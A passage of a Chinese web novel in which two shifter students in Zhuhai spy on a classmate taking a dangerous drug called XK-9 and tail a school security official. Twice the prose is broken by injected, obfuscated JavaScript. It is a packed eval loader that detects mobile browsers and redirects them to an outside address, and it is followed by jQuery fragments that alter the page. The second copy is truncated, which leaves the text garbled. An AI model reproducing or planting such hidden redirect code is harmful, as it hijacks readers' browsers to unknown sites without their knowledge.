“明天周一,上课,我哪有时间抽。”
“课间十分钟够你跑到厕所抽一根再回来。”
谢燃张了张嘴,想反驳,但发现自己确实干过这种事。在曙光学院的时候,他曾经在训练间隙跑到厕所抽烟,被教官抓到,罚跑了二十圈。那是他第一次知道纪砚会生气——不是那种大吼大叫的生气,而是整整三天不跟他说话,连眼神都不给。
那三天是谢燃在曙光学院度过的最漫长的三天。他宁愿跑一百圈,也不愿意面对一个把自己当空气的纪砚。
从那以后,他抽烟的频率降了很多,而且再也没在纪砚面前抽过——除了上周在韩队车里的那半根。
“行了行了,我知道了。”谢燃把双手插进口袋里,往沙发上一倒,“不抽不抽,戒了戒了。”
“你说了八百遍戒了。”
“这次是真的。”
纪砚看了他一眼,那眼神的意思是“我信你才有鬼”,但他没有继续说下去,转身去厨房烧水了。
谢燃躺在沙发上,听着厨房里水壶的咕嘟声,尾巴在沙发上慢悠悠地晃着。窗外的月亮很圆,月光从窗帘的缝隙里漏进来,在地板上画了一条银白色的线。珠海市的秋天到了晚上就凉得快,但公寓里很暖和,因为纪砚下午开了暖气——不是因为他怕冷,是因为谢燃怕冷。
“水好了。”纪砚端着两个杯子走出来,一个印着狼,一个印着狐狸。他把狐狸杯子放在谢燃面前的茶几上,里面是热巧克力——纪砚不喝咖啡,但会给谢燃冲热巧克力,因为他觉得谢燃晚上喝咖啡会睡不着。
虽然谢燃喝多少咖啡都能睡着。
谢燃端起热巧克力喝了一口,甜丝丝的,烫得他龇了龇牙。他看着纪砚坐到沙发的另一端,端起自己的竹叶茶,慢慢地吹着热气。
“纪砚。”
“嗯。”
“你说冥安这周还会去校医室吗?”
“会。”
“你怎么知道?”
“他的信息素不稳定,需要持续用药。上周他去了三次,周一、周三、周五。这周大概率也是同样的频率。”纪砚喝了一口茶,目光落在茶杯里浮沉的竹叶上,“明天是周一。”
谢燃点了点头,把热巧克力喝完,把杯子放在茶几上,站起来伸了个懒腰。
“明天早点起。”他说,“我想去校门口蹲他。”
“蹲谁?”
“冥安。我想看看他早上是从哪个方向来的,是一个人来的还是有人送。”
纪砚沉默了两秒,点了点头。
周一早晨,谢燃六点就醒了。
不是被闹钟吵醒的,是自己醒的。他躺在床上,盯着天花板上的裂缝看了十几秒,然后翻身起床。洗漱、换校服、把尾巴梳顺——虽然他的尾巴不需要梳,但他今天想让自己看起来精神一点,因为他要去蹲人。
纪砚已经在厨房了。谢燃走出来的时候,看到灶台上摆着两个盘子,盘子里是煎鸡蛋——这次没糊,蛋黄完整,边缘金黄,卖相甚至可以发朋友圈。
“你什么时候学会的?”谢燃盯着那两个鸡蛋,表情像看到了外星人。
“昨天练了一天。”纪砚把豆浆倒进杯子里,“用了十二个鸡蛋。”
“十二个?”
“前十个都糊了或者破了。第十一个勉强能看,第十二个就这样了。”纪砚的语气平淡得像在念实验报告,“冰箱里没鸡蛋了,下午记得买。”
谢燃看着那两个完美的煎鸡蛋,忽然觉得鼻子有点酸。不是因为感动——好吧,就是因为感动。但他不会承认。
“行,”他坐下来,拿起筷子,“下午我买,买两盒。”
两人吃完早饭,出门的时候天刚亮。珠海市的清晨空气很好,带着海水的咸味和榕树的气息。路上没什么人,只有几个晨练的老人在小区里打太极,动作慢得像被按了0.5倍速。
他们走到校门口的时候,七点还差一刻。
校门口的榕树下,谢燃选了一个既能看清来路又不显眼的位置——靠在榕树树干上,假装在看手机,实际上目光一直在街道上游荡。纪砚站在他旁边,手里拿着一本书,看起来像是在晨读,但书页很久没有翻过。
大约过了十分钟,一个身影从街道的西边走过来。
冥安。
他穿着校服,背着书包,走路的速度不快不慢,步幅均匀得像被程序设定过。他的脸色依旧不好,嘴唇发白,但比上周稍微好了一点——大概是药物的作用。他的目光直视前方,没有左顾右盼,没有看手机,没有跟任何人打招呼。
谢燃用余光扫了一眼,没有抬头。纪砚翻了一页书。
冥安从他们身边走过,距离大约三米。谢燃闻到了他的信息素——蜘蛛Alpha,还是那种闷闷的、被什么东西压住的味道,但比上周多了一丝说不清的东西,像是某种药物的苦味。
他没有看谢燃和纪砚,径直走进了校门。
谢燃等他走远了,才抬起头,看向纪砚。
“一个人来的。”他说。
“嗯。”
“没有人送,没有跟人同行。”
“嗯。”
“他走路的样子——”
“像在数步数。”纪砚接过话,“每一步的步幅几乎一样,重心稳定,手臂摆动幅度固定。这是一种训练出来的走路方式,不是天生的。”
谢燃的尾巴在身后绷紧了一瞬。
“他受过训练。”他说。
“或者他正在接受训练。”纪砚合上书,“走吧,快上课了。”
上午的课波澜不惊。
数学课讲函数,谢燃听了一半走了一半,但纪砚给他做的笔记他看了,比课本好懂。英语课做了一套卷子,谢燃的阅读理解对了大半,完形填空也还行,英语老师在他的卷子上写了一个“有进步”,虽然字迹潦草得他看了三遍才认出来。语文课讲文言文,谢燃趴在桌上,差点睡着,被纪砚用笔尾敲了三下桌面——那个信号的意思是:醒醒。
第三节课后的大课间,谢燃没有像平时一样趴在桌上补觉,而是跟纪砚对视了一眼,两人一前一后走出教室。
他们没有去操场,没有去厕所,而是去了教学楼三楼的走廊——冥安的班级在高二(4)班,教室在三楼东边。
走廊里人很多,到处是打闹的学生。谢燃和纪砚混在人群中,看起来像是路过,实际上他们的目光一直在观察。
冥安不在教室里。
“他出去了。”纪砚压低声音。
“去哪了?”
“不知道。但大课间有二十分钟,他不在教室的可能性有两个——厕所,或者校医室。”
纪砚看了看走廊尽头的厕所,又看了看楼下的校医室方向。校医室的窗户开着,窗帘在风中微微晃动。
“我去校医室那边看看。”纪砚说,“你在这盯着。”
“小心点。”
纪砚点了点头,转身下楼。
校医室在教学楼的一层,走廊最西边。谢燃走下楼梯的时候放轻了脚步,他的A1技能可以调整脚步声,此刻他的脚步轻得像猫,几乎听不到。他走到校医室所在的走廊,没有直接靠近,而是站在拐角处,用余光观察。
校医室的门关着。窗帘拉了一大半,只留下一条大约十厘米宽的缝隙。
纪砚靠墙站着,假装在看手机,实际上耳朵竖得高高的,捕捉着每一个声音。
他听到了说话声。声音很轻,隔着门听不太清楚,但能分辨出是两个人的声音——一个低沉一些,一个清亮一些。低沉的那个是冥安,清亮的那个是姜雅。
纪砚听不清他们在说什么,但能听出语气。冥安的声音很平,像在陈述事实;姜雅的声音带着一种刻意的温柔,像医生在跟病人说话——但纪砚觉得那种温柔不太对劲,像是被设计过的、有目的的温柔。
大约过了七八分钟,门开了。
冥安走出来,手里没有拿瓶子。他的脸色比进去之前好了一些,嘴唇有了一点血色,但眉头皱得很紧,像是在想什么事情。他没有看左右,径直走向楼梯,脚步还是那种被程序设定过的匀速。
纪砚低下头,继续看手机,假装在刷短视频。冥安从他身边走过的时候,信息素的味道又变了——药物的苦味淡了一些,蜘蛛Alpha原本的味道浓了一点,但还是很闷,像被什么东西压着。
等冥安的脚步声远了,纪砚抬起头,看了一眼校医室。
门已经关上了。窗帘拉得更严实了,连那条缝隙都没有了。
纪砚把手机揣进口袋,转身往回走。
中午吃饭的时候,陆大寻又占好了座。
他今天打了一份酸菜鱼,热气腾腾的,酸辣味飘得整个食堂都是。谢燃一坐下就被那个味道勾走了魂,筷子伸过去夹了一块鱼片,烫得直哈气,但还是含混地说:“好吃好吃好吃——”
“谢哥你慢点,没人跟你抢。”陆大寻笑着给他递了一张纸巾。
纪砚坐在旁边,吃得慢条斯理,但也在吃酸菜鱼。他吃鱼的方式很特别——先把鱼片夹到碗里,用筷子把刺挑干净,然后再吃。谢燃看着他那副认真的样子,觉得这人连吃鱼都在做拆弹。
“谢哥,你们今天上午是不是去三楼了?”陆大寻压低声音,眼睛亮晶晶的。
谢燃的筷子顿了一下:“你怎么知道?”
“我看到你们了。大课间的时候我去厕所,看到你在三楼走廊站着,纪哥从楼梯下去。”陆大寻的声音压得很低,但语速很快,“你们在盯冥安?”
谢燃看了纪砚一眼。纪砚微微点头。
“大课间他去校医室了。”谢燃说,声音也压低了,“待了七八分钟,出来的时候脸色好了一点。”
“又是校医室。”陆大寻皱起眉头,“他是不是每天都去?不对,上周是周一、周三、周五,今天周一,果然去了。”
“你记这么清楚?”谢燃问。
“我说了,我记忆力好。”陆大寻夹了一片酸菜,嚼了两下,“而且我有个发现——谭照每周三下午会去冥安家。上周三我放学后特意绕路经过冥安家的小区,看到谭照的车停在楼下,停了大约四十分钟。谭照走的时候手里拎着一个黑色的袋子,不知道装的什么。”
谢燃放下筷子,看着陆大寻。
“你放学后绕路去冥安家的小区?”他的声音很轻,但语气里有一种让人脊背发凉的东西。
陆大寻的尾巴夹紧了。
“我就是路过——”他的声音小了下去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536131|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“陆大寻。”谢燃的声音更轻了,“你答应过什么?”
“不掺和。”陆大寻低下头,盯着自己碗里的酸菜鱼,声音闷闷的,“但是谢哥,我真的只是路过。冥安家的小区在我回家的路上,稍微绕一点就到了,不算是专门去的。”
“稍微绕一点?”
“一公里。”
“一公里叫稍微绕一点?”
陆大寻不说话了,尾巴垂下来,耳朵也耷拉着,整个人像一只被训斥的小狗。纪砚在旁边喝汤,没有帮腔,也没有落井下石。他知道谢燃需要把这话说完,否则陆大寻下次还会“稍微绕一点”。
谢燃深吸一口气,又吐出来。
“陆大寻,你听我说。”他的语气缓和了一些,但还是认真的,“你想帮忙,我知道。你也帮了很多,你给的情报很有用,没有你我们不会这么快锁定冥安和姜雅。但是——”
他顿了一下,看着陆大寻的眼睛。
“但是如果你出了事,我跟纪砚没办法向你妈交代。你妈还在家等你吃饭呢。”
陆大寻的耳朵动了动,慢慢抬起来。他看着谢燃,嘴唇动了动,想说什么,但最后只是点了点头。
“我知道了,谢哥。”他说,“下次我不绕了。”
谢燃看了他两秒,确定他是认真的,才重新拿起筷子。
“吃鱼。”他说,“酸菜凉了就不好吃了。”
陆大寻的尾巴重新翘了起来,他夹了一大块鱼片塞进嘴里,嚼了两下,含混地说:“谢哥,这个酸菜鱼真的好好吃,你们多吃点。”
纪砚把自己挑好刺的鱼片夹到谢燃碗里,动作自然得像做过一千遍。
谢燃看着碗里那块没有刺的鱼片,愣了一下,然后低头吃了。
“还行。”他说。
“什么还行?”纪砚问。
“鱼。”
“哦。”
陆大寻看着两个人,嘴角慢慢咧开了,但他什么都没说,只是低下头,继续吃自己的酸菜鱼。
下午最后一节课是自习。
谢燃写完了数学作业——不是全部,但比上周多写了两道大题。他把作业本推到纪砚面前让他检查,纪砚看了一遍,用铅笔在两道错题旁边写了正确的步骤,又推回来。
“第二题公式用错了,第四题计算错误。”纪砚说。
“知道了。”谢燃把作业本拿回去,低头改错。
纪砚在旁边写自己的作业,写完了就开始看那本《犯罪心理学》——陆大寻上周日还回来了,书页没有折角,连书签都放在原来的位置。
谢燃改完错题,把作业本收进书包,然后趴在桌上,侧头看着窗外。
操场边的榕树在夕阳中变成了金红色,气息在风中轻轻摇晃。体育课有个班在练广播体操,动作参差不齐,像一群被线牵着的木偶。远处海面上有一艘货轮在缓缓移动,拖着一道白色的浪尾,像一条在海面上画线的笔。
珠海市的傍晚很美。
谢燃看着那片海,忽然想起一件事。
“纪砚。”
“嗯。”
“你说冥安今天去校医室,拿药了吗?”
“没看到他拿东西出来。”
“那他进去是为了什么?光聊天?”
纪砚放下书,想了想。
“也许不是为了拿药。”他说,“也许是为了汇报。”
“汇报给姜雅?”
“或者通过姜雅汇报给上面。”
谢燃沉默了几秒,把脸埋进胳膊里,声音闷闷的:“织网者。”
“嗯。”
教室里的光线越来越暗,夕阳从窗口退出去,把最后的橘红色留在了天花板上。陆大寻在后面写作业,笔尖沙沙地响,偶尔抬起头看一眼谢燃的背影,又低下头继续写。
放学铃响的时候,谢燃没有立刻站起来。他趴在桌上,闭着眼睛,像是在思考什么。
“走了。”纪砚收拾好书包,站起来。
“纪砚。”
“嗯。”
“你说,冥安知道自己被当棋子用吗?”
纪砚沉默了几秒。
“也许知道。”他说,“也许不知道。但不管他知道不知道,他都已经被困住了。”
谢燃睁开眼睛,从桌上爬起来,伸了个懒腰。他拿起书包,站起来,跟在纪砚后面走出教室。
陆大寻从后面追上来,书包在身后甩来甩去:“谢哥纪哥,明天见!”
“明天见。”谢燃说。
“路上小心。”纪砚说。
陆大寻点了点头,跑向公交站台。跑了几步又停下来,回头喊了一句:“谢哥,你今天没抽烟吧?”
谢燃愣了一下,然后笑了:“没有!滚!”
陆大寻嘿嘿一笑,转身跑了。
夕阳把三个人的影子拉得很长很长,在操场上交错、分开、又交错。榕树的叶子在风中沙沙作响,像在低语着什么。
谢燃和纪砚并肩走向校门口。
“纪砚。”
“嗯。”
“今晚吃什么?”
“你买鸡蛋了吗?”
“忘了。”
“那就还是速冻饺子。”
“行。”
两人走出校门,拐进和风中街。珠海市的晚风吹过来,带着海水的咸味和远处烧烤摊的烟火气。路灯一盏一盏地亮起来,把整条街照得暖黄黄的。
谢燃走在前面,纪砚跟在后面。
他们的影子交叠在一起,像一棵榕树的气根,一根缠着一根,分不清哪根是谁的。
20. 报告,差点噎死的狐狸
中午,年绪的第二份报告到了。
这次不是通过韩征远转交,而是直接发到了纪砚的加密邮箱。纪砚在食堂吃饭的时候用手机看了一眼,眉头就再也没有松开过。
“怎么了?”谢燃嘴里叼着一块排骨,含混地问。
“年绪的XK-9分析报告。”纪砚把手机屏幕转向谢燃,但没等他看清就收了回去,“回去再说。”
谢燃嚼着排骨,看了他一眼,没追问。谢燃说“回去再说”的时候,就意味着事情不适合在公共场合讨论,哪怕周围全是食堂的嘈杂声和油烟气。
陆大寻坐在对面,筷子悬在半空,眼睛在两人之间来回转了两圈。他张了张嘴,想说什么,但看到纪砚的表情,又把嘴闭上了。他低下头,专心吃自己盘里的番茄炒蛋,尾巴在椅子下面安静地垂着,没有乱甩。
下午的课,谢燃上得心不在焉。
不是因为不想听——虽然确实不想听——而是因为脑子里一直在转年绪的那份报告。纪砚只给他看了两秒,但他看到了几个关键词:“XK-9口服液”“生物标记物”“生产地点可能为……”后面的内容没看清。
他的手指在桌面上无意识地点着,一下,两下,三下。
纪砚在旁边记笔记,笔尖沙沙地响,看起来和平时没有任何区别。但谢燃注意到他的笔记本翻页的速度比平时慢了一倍——他也在想那份报告。
最后一节是化学课,老师在做实验,烧杯里的液体从透明变成蓝色,又从蓝色变成紫色。谢燃盯着那个颜色变化,脑子里却在想别的事情:冥安今天会不会再去校医室?昨天周一去了,按照上周的规律,周三才是下一次。但如果他的药量增加了呢?如果他需要每天去呢?
下课铃响的时候,谢燃几乎是弹射般站起来。
“走。”他说。
纪砚看了他一眼,没说话,收拾好书包跟了上去。
两人没有在校门口停留,直接回了公寓。谢燃换鞋的动作都比平时快了三秒,鞋没摆好就冲进了客厅,书包往沙发上一扔,转身看着纪砚。
“报告。”
纪砚从书包里拿出手机,打开加密邮箱,把年绪的报告递给谢燃。谢燃接过手机,从头到尾看了一遍,看完又看了一遍,然后坐在沙发上,把手机放在茶几上,双手交叉在膝盖上,盯着天花板。
年绪的报告很长,但核心内容只有几条:
第一,XK-9口服液的成分与熔炉时期的注射剂有78%的相似度,核心致效成分没变,但辅料全部换过了。这意味着配方不是从熔炉直接拿来的,而是有人在熔炉配方的基础上做了改良。
第二,口服液中检测到一种罕见的植物碱,这种植物只生长在南方沿海地区,具体来说是珠海、中山、江门一带的丘陵地带。这意味着生产地点很可能在珠海周边。
第三,冥安服用的剂量已经达到了危险阈值。XK-9对腺体的损伤是不可逆的,以他目前的剂量,最多再服用三个月,他的Alpha腺体会永久性坏死。
“三个月。”谢燃开口,声音比平时沉了一些。
“嗯。”纪砚坐在他旁边,拿起自己的手机,把报告又看了一遍,“冥安知道吗?”
“不一定。姜雅不一定告诉他。”
“如果他知道,他为什么还要吃?”
“因为不吃会更糟。”谢燃的尾巴在沙发上慢慢晃了一下,不是放松的那种晃,而是带着一种焦躁的节奏,“XK-9有成瘾性。年绪的报告里写了,停药后的戒断反应包括信息素暴走、腺体剧痛、意识模糊。严重的话可能会直接进入失控状态。”
纪砚沉默了几秒。
“所以冥安被困住了。”他说,“不吃会失控,吃了腺体会坏死。不管怎么选,结果都是毁灭。”
客厅里安静了一会。窗外的天色渐渐暗下来,路灯亮了,橘黄色的光透过窗帘,在茶几上投下一层暖色。但室内的气氛不是暖的,是那种被什么东西压着的、沉甸甸的冷。
“年绪有没有说生产地点在哪?”谢燃问。
“她说需要更多样本才能精确定位。”纪砚把手机收起来,“但她给了几个可能的区域,都在珠海市周边。淇澳岛、唐家湾、金鼎那一带。”
“山区?”
“丘陵。有植被覆盖,隐蔽性强,适合建小型实验室。”
谢燃站起来,走到窗边,拉开窗帘。楼下的巷子里空荡荡的,路灯把路面照得惨白。远处有几栋居民楼的灯亮着,一格一格的,像某种加密代码。
“纪砚。”
“嗯。”
“明天周三。”
“嗯。谭照去冥安家的日子。”
两人对视了一眼,没有说话,但都读懂了对方的意思。周三下午,谭照会去冥安家送东西。上周陆大寻看到谭照拎着一个黑色袋子出来,那里面装的是什么?会不会是XK-9口服液?如果是,那谭照就是冥安和姜雅之间的中间人——姜雅配药,谭照送货,冥安服用。
“明天放学,跟谭照。”谢燃说。
纪砚点了点头。
周三早晨,谢燃起得比平时早。
他站在镜子前刷牙,泡沫从嘴角溢出来,他用手背擦了一下,然后盯着镜子里的自己看了几秒。黑眼圈有点重,昨晚没睡好。不是因为失眠,而是因为脑子里一直在转那些信息——XK-9、谭照、冥安、姜雅、织网者。这些名字像一团乱麻,缠在一起,怎么理都理不清。
“谢燃,好了没有?”纪砚的声音从厨房传来。
“好了好了。”他吐掉泡沫,漱了口,用毛巾擦了脸,走出浴室。
餐桌上摆着两个煎鸡蛋——纪砚已经熟练掌握这项技能了,今天的蛋黄比昨天更圆,边缘的金黄色更均匀。旁边还有两碗白粥和一小碟咸菜。
“你今天居然煮粥了?”谢燃坐下来,拿起筷子。
“昨天买的电饭煲,有定时功能。”纪砚端起粥碗,吹了吹热气,“晚上把米放进去,定好时,早上起来就好了。”
“你什么时候买的电饭煲?我怎么不知道?”
“你昨天在沙发上睡着的时候。”
谢燃想了想,好像确实有那么一回事。昨天他看完年绪的报告,在沙发上躺了一会,然后就……没了。醒来的时候身上盖着一条毯子,厨房的灯亮着,纪砚在洗碗。
“你为什么不叫醒我?”
“你睡着了比醒着的时候安静。”
“……纪砚你嘴真的很毒。”
纪砚没理他,低头喝粥。
两人吃完早饭,出门的时候天已经大亮了。珠海市的早晨阳光很好,但风里带着深秋的凉意,谢燃把校服拉链拉到最上面,缩着脖子走路。纪砚走在他左边,步幅不大不小,手里拿着一个文件夹——不是陆大寻的那份,是一份新的,谢燃没看他什么时候整理的。
“你又整理了什么东西?”谢燃瞥了一眼。
“谭照的时间线。”纪砚翻开文件夹,里面密密麻麻写满了时间、地点和行动轨迹,“从陆大寻给的信息和我们的观察,我整理了一份谭照近两周的行动记录。”
“你什么时候做的?”
“昨晚你睡着之后。”
谢燃沉默了一下,想说“你也没睡多久”,但话到嘴边变成了:“你这个人,活着不累吗?”
“不累。”纪砚合上文件夹,“累的是事情没做完。”
两人走到校门口的时候,陆大寻又在榕树下等着了。他今天手里拿着一个饭团,正在大口大口地吃,腮帮子鼓得像仓鼠。看到两人,他举起拿着饭团的手挥了挥,含混地喊:“谢哥纪哥!”
“你每天都这么早。”谢燃走过去。
“早起的鸟儿有虫吃嘛。”陆大寻咽下嘴里的饭团,舔了舔嘴角的米粒,“我今天带了一个饭团给你们,在书包里,还热着。”
他从书包里掏出两个用保鲜膜包好的饭团,递过去。一个包着肉松,一个包着火腿肠。谢燃接过肉松的那个,咬了一口,眼睛亮了:“好吃。”
“我妈做的!她今天早上起早了,没事干就捏了几个饭团。”陆大寻得意地晃了晃尾巴,“她说让你们有空来家里吃饭,她想看看是什么样的同学让我天天往学校跑。”
谢燃差点被饭团噎住。
“你妈知道我们?”他问。
“知道啊,我跟她说了,我有两个特别好的朋友,转校生,人特别好。”陆大寻眨眨眼,“她说‘你终于交到正常朋友了’,我说‘他们也不是很正常’,我妈说‘比你好就行’。”
纪砚接过火腿肠饭团,没有吃,放进校服口袋里。
“你不吃吗?”陆大寻问。
“留着,上午饿了吃。”纪砚说。
陆大寻嘿嘿一笑,没有追问。
上午第三节课后的大课间,谢燃又去了校医室那条走廊。
这次他不是一个人去的,纪砚在三楼盯着冥安的教室,他在一楼守着校医室。两人分工明确,消息通过手机震动传递。
谢燃站在走廊拐角处,背靠墙壁,手里拿着手机,假装在刷短视频。他的耳朵竖着,捕捉着每一个声音——走廊里的脚步声、远处的广播体操音乐、风吹过榕树的沙沙声。
校医室的门关着。窗帘拉了一大半,和昨天一样。
大约过了五分钟,他的手机震了一下。纪砚的消息:“冥安离开教室,方向下楼。”
谢燃把手机收起来,调整了一下站姿,让自己看起来更像一个在走廊上闲逛的学生。他的A1技能——情绪伪装和脚步声调整——此刻全部开启。他的信息素波动被压制到几乎为零,脚步声轻得像猫,呼吸平稳得像在冥想。
大约过了两分钟,楼梯口传来脚步声。
冥安走下楼梯,步幅均匀,目光直视前方。他没有看左右,没有看手机,径直走向校医室。走到门口的时候,他敲了三下门——不是普通的敲门,是某种节奏:两下快的,一下慢的。
门开了。
冥安走了进去,门又关上了。
谢燃在心里记下了那个节奏:快-快-慢。
他继续站着,假装在看手机,目光盯着屏幕上一个搞笑视频,嘴角还配合地翘了一下。但实际上他的耳朵一直在捕捉校医室里的声音——说话声,很轻,听不清内容,但能听出冥安的声音比昨天更急促了一些,像是在追问什么。姜雅的声音还是那种刻意的温柔,但偶尔会有一两个字音加重,像是某种强调或警告。
大约过了十分钟,门开了。
冥安走出来,手里拿着一个小瓶子——透明的,大约手指那么长,里面装着浅黄色的液体。他把瓶子攥在手里,攥得很紧,指节发白。他的脸色比进去之前更差了,嘴唇发白,眉头紧皱,像是在忍耐什么疼痛。
他没有看左右,径直走向楼梯,步子比平时快了一些。
谢燃等他的脚步声消失在楼梯口,才收起手机,转身走向厕所。他在厕所里待了两分钟,洗了手,然后给纪砚发了一条消息:“拿到药了。瓶子。”
纪砚回复:“周三谭照去他家。瓶子可能会转交。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536132|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>谢燃把手机揣进口袋,走出厕所,回到教室。
下午的课,谢燃几乎没有听进去。
他的目光一直在教室外面游荡,不是在发呆,是在观察。他在看走廊里的人流,看每一个路过的老师、学生、保安。他在想谭照——保安科副科长,变色龙Beta,当年熔炉的外部安保人员,负责实验体的转移和“处置”,O189的父亲,现在每周三下午去冥安家送东西。
谭照的办公室在保安科,在教学楼一层最东边,离校医室不远。谢燃经过那里的时候,偶尔能看到谭照坐在里面喝茶看报纸,表情平淡,像任何一个普通的保安科副科长。但现在他知道,那张平淡的脸下面,藏着十五年前的血腥味。
最后一节课的下课铃响的时候,谢燃和纪砚几乎是同时站起来的。
“走。”纪砚说。
两人没有去校门口,而是去了保安科对面的走廊。那里有一排长椅,平时没什么人坐,因为正对着保安科的门,路过的人总觉得不自在。但今天,这里是最好的观察位置。
谢燃坐在长椅上,拿出一本英语书,翻开,假装在背单词。纪砚站在他旁边,手里拿着手机,看起来像是在发消息,实际上手机的摄像头一直对着保安科的方向。
大约过了十五分钟,保安科的门开了。
谭照走出来,穿着保安制服,手里拎着一个黑色的袋子。袋子不大,大约A4纸大小,鼓鼓囊囊的,看不清里面装了什么。他锁上门,转身往校门口走。
谢燃用脚轻轻踢了一下纪砚的鞋尖。
纪砚没有抬头,但手机微微动了一下,调整了拍摄角度。
谭照走得不快不慢,步子很稳。他走到校门口,跟门卫打了个招呼,然后拐进了和风中街。谢燃和纪砚等他走出去大约五十米,才站起来,一前一后跟了上去。
跟踪谭照比跟踪冥安难。
谭照是Beta,信息素很淡,但他是变色龙——他的技能让他能够融入周围环境,不易被察觉。如果不是纪砚的A2痕迹追踪一直在锁定他的信息素残留,谢燃可能已经跟丢了两三次。
谭照没有坐公交,没有打车,而是一直在走路。他穿过和风中街,拐进一条小巷,又穿过一条马路,最后走进了一个老旧的小区。小区不大,只有几栋六层楼房,外墙的涂料已经剥落了大半,露出灰白色的水泥。
谭照走进其中一栋楼,上了楼梯。
谢燃和纪砚没有跟进去,而是站在小区门口的一棵榕树下等着。大约过了二十分钟,谭照从楼里出来,手里的黑色袋子不见了。
“东西送到了。”纪砚低声说。
“冥安住这栋楼?”
“不确定。但谭照进去的时间足够上楼、敲门、交接、再下楼。”纪砚看了看手机上的时间,“二十分钟,如果是单纯送东西,时间偏长。可能有交谈。”
谢燃点了点头,把谭照进去的楼栋号和位置记在心里。
两人没有继续停留,转身离开了小区。走出巷子的时候,谢燃的手机震了一下——陆大寻发来的消息:“谢哥谢哥!!!你们今天怎么没等我???”
“有事,先走了。”谢燃回复。
“好吧好吧。明天见!”
“明天见。”
谢燃把手机收起来,看了看身边的纪砚。纪砚正低头看手机,眉头微微皱着,不知道在看什么。
“怎么了?”谢燃问。
“年绪发了第三条消息。”纪砚把手机递给谢燃,“XK-9口服液的生产地点,她缩小了范围。”
谢燃接过手机,屏幕上是一张地图,标注了三个位置。三个位置都在珠海市周边的丘陵地带,彼此相距不超过十公里。
“淇澳岛、唐家湾、金鼎。”谢燃念出那三个地名,“都在北边。”
“嗯。”纪砚收回手机,“周末去看看。”
“骑车?”
“骑车。开车太显眼。”
谢燃点了点头。两人走出巷子,拐进和风中街,夕阳把整条街染成了橘红色。榕树的影子投在地上,像一大片静止的乌云。远处的海面上,太阳正在缓缓落下,把海水染成金红色。
“纪砚。”
“嗯。”
“你说,如果我们找到了生产地点,能抓到织网者吗?”
纪砚沉默了几秒。
“不一定。”他说,“但至少能断掉冥安的药源。”
“断了他的药,他会失控。”
“所以在那之前,我们需要找到一个办法让他停下来。”
谢燃没有再问。他知道纪砚说的“办法”不是指抓捕或者强制戒断,而是某种更复杂的东西——让冥安自己选择停下来。但冥安已经被困住了,被药物、被恐惧、被某种他不知道的东西绑在了一张网上。想让他停下来,得先让他知道,有人愿意帮他。
两人走回公寓楼下的时候,天已经快黑了。路灯亮了起来,把单元门口照得亮堂堂的。谢燃正要推门进去,忽然停下脚步,回头看了一眼街角。
街角空荡荡的,什么都没有。
但他总觉得有什么东西在暗处看着他们。
“谢燃?”纪砚在身后叫他。
“来了。”他推开门,走了进去。
楼梯间的声控灯亮了,他们的脚步声在楼道里回响。谢燃走在前面,纪砚跟在后面。两人的影子投在墙上,一高一矮,一前一后。
像很多年前在曙光学院的时候一样。
但今天不一样。
今天,他们离织网者又近了一步。
21. 北边的山海
周六早晨六点,天还没亮透。
谢燃是被纪砚从被窝里薅出来的——物理意义上的薅。纪砚站在床边,一只手抓住谢燃的被子角,干脆利落地一掀,冷空气瞬间涌上来,谢燃像被电击了一样弹起来。
“纪砚你有病!”
“起床。”
“今天周六!”
“所以才要早起。”纪砚已经把被子叠好了——不是谢燃的被子,是他自己的。谢燃的被子还团在床上像一条冬眠的蛇,纪砚看了一眼,忍住了没去叠,“七点出发,骑车过去要一个半小时。”
谢燃坐在床上,头发乱得像鸡窝,眼睛还没完全睁开。他花了大概十秒钟回忆昨天晚上的对话——淇澳岛、唐家湾、金鼎,三个地点,骑车探查。他把脸埋进手掌里,发出一声低沉的哀嚎,然后认命地从床上爬了起来。
洗漱的时候,他发现纪砚已经把早餐做好了。不是煎鸡蛋——今天早上是三明治,全麦面包夹火腿、生菜和煎蛋,卖相不错,切面整齐,连牙签都没插歪。
“你什么时候学会做三明治的?”谢燃拿起一块咬了一口。
“昨天。”纪砚正在往保温杯里灌热水,“比煎鸡蛋简单。”
“你做什么都比煎鸡蛋简单。”
纪砚没理他,把两个保温杯、两包压缩饼干、一张地图和一把折叠刀装进背包。谢燃看了一眼那个背包,又看了一眼自己的——他的背包里只有手机充电宝和一包薯片。
“你带压缩饼干干什么?又不是去野外生存。”
“就是去野外。”
“……你说得好像也没错。”
两人下楼的时候,天刚亮。珠海市的周末早晨安静得不像话,街上没什么人,只有几个晨练的老人在小区里慢悠悠地走着。两辆山地车停在楼下的车棚里,是韩征远前两天让人送来的,灰黑色,低调,没有标识。
谢燃跨上车,试了试刹车,调了一下座椅高度。他穿着黑色的运动裤和深灰色的卫衣,帽子拉起来盖住头发,尾巴从卫衣后面的开口处伸出来,在晨风中微微摇晃。纪砚穿得差不多,只是卫衣是深蓝色的,帽子也拉起来了。
“走。”纪砚蹬了一下脚踏,车子滑了出去。
谢燃跟上去,两人沿着和风中街一路向北。清晨的风很凉,带着海水的咸味和榕树的气息。谢燃骑了一会儿就觉得冷了,把卫衣的拉链拉到最上面,缩着脖子骑车,样子像一只缩在壳里的乌龟。
“你冷?”纪砚在旁边问。
“不冷。”
“你尾巴的毛都竖起来了。”
